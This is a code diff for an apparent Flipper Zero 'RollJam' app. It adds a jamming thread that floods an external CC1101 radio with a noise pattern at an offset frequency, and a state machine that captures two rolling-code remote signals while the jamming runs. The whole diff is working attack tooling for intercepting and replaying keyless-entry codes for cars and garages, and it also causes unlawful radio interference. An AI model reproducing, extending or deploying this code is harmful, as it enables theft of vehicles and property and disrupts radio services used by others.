furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
@@ -494,41 +317,205 @@ void rolljam_ext_gpio_init(void) {
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
static void ext_gpio_deinit_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public
|
||||
// Noise pattern & jam helpers
|
||||
// ============================================================
|
||||
|
||||
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_ms(1);
|
||||
cc_write_burst(CC_TXFIFO, pattern, len);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(5);
|
||||
}
|
||||
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
|
||||
|
||||
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
|
||||
app->frequency, app->jam_offset_hz, is_fsk);
|
||||
|
||||
ext_gpio_init_spi_pins();
|
||||
furi_delay_ms(5);
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: Chip no detectado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool jam_ok;
|
||||
if(app->mod_index == ModIndex_FM238)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, false);
|
||||
else if(app->mod_index == ModIndex_FM476)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, true);
|
||||
else
|
||||
jam_ok = cc_configure_jam(freq_pos);
|
||||
|
||||
if(!jam_ok) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
static const uint8_t noise_pattern[62] = {
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55
|
||||
};
|
||||
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
|
||||
uint8_t st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
cc_idle();
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
bool on_pos = true;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
|
||||
if(is_fsk && (loops % 4 == 0)) {
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
on_pos = !on_pos;
|
||||
cc_set_freq(on_pos ? freq_pos : freq_neg);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
underflows++;
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
uint8_t txb = cc_txbytes();
|
||||
if(txb < 20) {
|
||||
uint8_t space = 62 - txb;
|
||||
if(space > 50) space = 50;
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, space);
|
||||
refills++;
|
||||
}
|
||||
|
||||
if(loops % 500 == 0) {
|
||||
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
|
||||
loops, underflows, refills, cc_txbytes());
|
||||
}
|
||||
|
||||
furi_delay_ms(50);
|
||||
}
|
||||
|
||||
cc_idle();
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
cc_write(CC_IOCFG2, 0x2E);
|
||||
|
||||
ext_gpio_deinit_spi_pins();
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public API
|
||||
// ============================================================
|
||||
|
||||
void rolljam_jammer_start(RollJamApp* app) {
|
||||
if(app->jamming_active) return;
|
||||
app->jam_frequency = app->frequency + JAM_OFFSET_HZ;
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(100);
|
||||
rolljam_ext_gpio_init();
|
||||
furi_delay_ms(10);
|
||||
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
app->jam_thread_running = true;
|
||||
app->jamming_active = true;
|
||||
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(50);
|
||||
|
||||
rolljam_ext_gpio_init();
|
||||
|
||||
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
|
||||
furi_thread_start(app->jam_thread);
|
||||
app->jamming_active = true;
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
|
||||
}
|
||||
|
||||
void rolljam_jammer_stop(RollJamApp* app) {
|
||||
if(!app->jamming_active) return;
|
||||
|
||||
app->jam_thread_running = false;
|
||||
furi_thread_join(app->jam_thread);
|
||||
furi_thread_free(app->jam_thread);
|
||||
app->jam_thread = NULL;
|
||||
|
||||
rolljam_ext_gpio_deinit();
|
||||
rolljam_ext_power_off();
|
||||
app->jamming_active = false;
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@
|
||||
*/
|
||||
|
||||
void rolljam_ext_gpio_init(void);
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled);
|
||||
void rolljam_ext_gpio_deinit(void);
|
||||
void rolljam_jammer_start(RollJamApp* app);
|
||||
void rolljam_jammer_stop(RollJamApp* app);
|
||||
|
||||
@@ -21,85 +21,253 @@
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
|
||||
// ============================================================
|
||||
// Presets
|
||||
// ============================================================
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_WORCTRL 0x20
|
||||
#define CC_FREND1 0x21
|
||||
|
||||
static const uint8_t preset_ook_rx[] = {
|
||||
// OOK 650kHz
|
||||
static const uint8_t preset_ook_650_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xE7, // RX BW ~58kHz
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_rx[] = {
|
||||
// OOK 270kHz
|
||||
static const uint8_t preset_ook_270_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xE7,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x67,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x40,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x03,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 2.38kHz
|
||||
static const uint8_t preset_2fsk_238_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
// 2FSK Dev 47.6kHz
|
||||
static const uint8_t preset_2fsk_476_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// TX OOK
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_238[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_476[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Capture state machine
|
||||
// ============================================================
|
||||
|
||||
#define MIN_PULSE_US 50
|
||||
#define MAX_PULSE_US 5000
|
||||
#define SILENCE_GAP_US 10000
|
||||
#define MIN_FRAME_PULSES 40
|
||||
#define AUTO_ACCEPT_PULSES 150
|
||||
#define MIN_PULSE_US 100
|
||||
#define MAX_PULSE_US 32767
|
||||
#define SILENCE_GAP_US 50000
|
||||
#define MIN_FRAME_PULSES 40
|
||||
#define AUTO_ACCEPT_PULSES 300
|
||||
#define MAX_CONTINUOUS_SAMPLES 800
|
||||
|
||||
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
// Calcular estadísticas una sola vez
|
||||
int16_t max_abs = 0;
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
|
||||
if(v > max_abs) max_abs = v;
|
||||
sum += v;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
|
||||
mod_index, max_abs, mean, (int)s->size);
|
||||
|
||||
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
|
||||
if((int)s->size < 120) {
|
||||
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(max_abs < 25000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(mod_index == 1) { // ModIndex_AM270=1
|
||||
if(mean < 3000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#define MIN_VARIANCE 2000
|
||||
|
||||
static bool rolljam_has_sufficient_variance(RawSignal* s) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
sum += (val > 0) ? val : -val;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
int64_t var_sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int32_t abs_val = (val > 0) ? val : -val;
|
||||
int32_t diff = abs_val - mean;
|
||||
var_sum += (int64_t)diff * diff;
|
||||
}
|
||||
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
|
||||
|
||||
bool has_var = (variance > MIN_VARIANCE);
|
||||
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
|
||||
mean, variance, has_var ? "PASS" : "FAIL");
|
||||
return has_var;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
CapWaiting,
|
||||
@@ -107,86 +275,101 @@ typedef enum {
|
||||
CapDone,
|
||||
} CapState;
|
||||
|
||||
static volatile CapState cap_state;
|
||||
static volatile int cap_valid_count;
|
||||
static volatile int cap_total_count;
|
||||
static volatile bool cap_target_first;
|
||||
static volatile uint32_t cap_callback_count;
|
||||
typedef struct {
|
||||
volatile CapState state;
|
||||
volatile int valid_count;
|
||||
volatile int total_count;
|
||||
volatile bool target_first;
|
||||
volatile uint32_t callback_count;
|
||||
volatile uint32_t continuous_count;
|
||||
float rssi_baseline;
|
||||
uint8_t mod_index;
|
||||
} CapCtx;
|
||||
|
||||
static CapCtx g_cap;
|
||||
|
||||
static void cap_ctx_reset(CapCtx* c) {
|
||||
c->state = CapWaiting;
|
||||
c->valid_count = 0;
|
||||
c->total_count = 0;
|
||||
c->callback_count = 0;
|
||||
c->continuous_count = 0;
|
||||
}
|
||||
|
||||
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(!app->raw_capture_active) return;
|
||||
if(cap_state == CapDone) return;
|
||||
if(g_cap.state == CapDone) return;
|
||||
|
||||
cap_callback_count++;
|
||||
g_cap.callback_count++;
|
||||
|
||||
RawSignal* target;
|
||||
if(cap_target_first) {
|
||||
target = &app->signal_first;
|
||||
if(target->valid) return;
|
||||
} else {
|
||||
target = &app->signal_second;
|
||||
if(target->valid) return;
|
||||
}
|
||||
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
|
||||
if(target->valid) return;
|
||||
|
||||
uint32_t dur = duration;
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
|
||||
if(dur > 32767) dur = 32767;
|
||||
|
||||
switch(cap_state) {
|
||||
switch(g_cap.state) {
|
||||
case CapWaiting:
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapRecording;
|
||||
|
||||
g_cap.continuous_count = 0;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.state = CapRecording;
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_valid_count++;
|
||||
cap_total_count++;
|
||||
g_cap.valid_count++;
|
||||
g_cap.total_count++;
|
||||
g_cap.continuous_count = 1;
|
||||
}
|
||||
break;
|
||||
|
||||
case CapRecording:
|
||||
g_cap.continuous_count++;
|
||||
|
||||
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return;
|
||||
}
|
||||
|
||||
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
cap_state = CapDone;
|
||||
} else {
|
||||
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
|
||||
if(g_cap.state == CapWaiting) {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.continuous_count = 0;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(dur > SILENCE_GAP_US) {
|
||||
if(cap_valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE) {
|
||||
int16_t s = level ? (int16_t)32767 : -32767;
|
||||
target->data[target->size++] = s;
|
||||
}
|
||||
cap_state = CapDone;
|
||||
if(is_silence) {
|
||||
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE)
|
||||
target->data[target->size++] = level ? (int16_t)32767 : -32767;
|
||||
g_cap.state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_ctx_reset(&g_cap);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_medium_gap) g_cap.continuous_count = 0;
|
||||
|
||||
{
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
cap_total_count++;
|
||||
|
||||
g_cap.total_count++;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
cap_valid_count++;
|
||||
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
|
||||
cap_state = CapDone;
|
||||
}
|
||||
g_cap.valid_count++;
|
||||
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
|
||||
g_cap.state = CapDone;
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -201,58 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
// ============================================================
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app) {
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
|
||||
app->frequency, app->mod_index, app->jam_offset_hz);
|
||||
|
||||
// Full radio reset sequence
|
||||
furi_hal_subghz_reset();
|
||||
furi_delay_ms(10);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* preset;
|
||||
const uint8_t* src_preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
case ModIndex_FM476:
|
||||
preset = preset_fsk_rx;
|
||||
break;
|
||||
default:
|
||||
preset = preset_ook_rx;
|
||||
break;
|
||||
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
|
||||
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
|
||||
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
|
||||
default: src_preset = preset_ook_650_async; break;
|
||||
}
|
||||
|
||||
furi_hal_subghz_load_custom_preset(preset);
|
||||
furi_hal_subghz_load_custom_preset(src_preset);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
|
||||
furi_delay_ms(5);
|
||||
|
||||
// Reset state machine
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_callback_count = 0;
|
||||
furi_hal_subghz_rx();
|
||||
furi_delay_ms(50);
|
||||
float rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
g_cap.rssi_baseline = rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
cap_ctx_reset(&g_cap);
|
||||
|
||||
// Determine target
|
||||
if(!app->signal_first.valid) {
|
||||
cap_target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
g_cap.target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: FIRST signal");
|
||||
} else {
|
||||
cap_target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
g_cap.target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
|
||||
app->signal_first.size);
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal");
|
||||
}
|
||||
|
||||
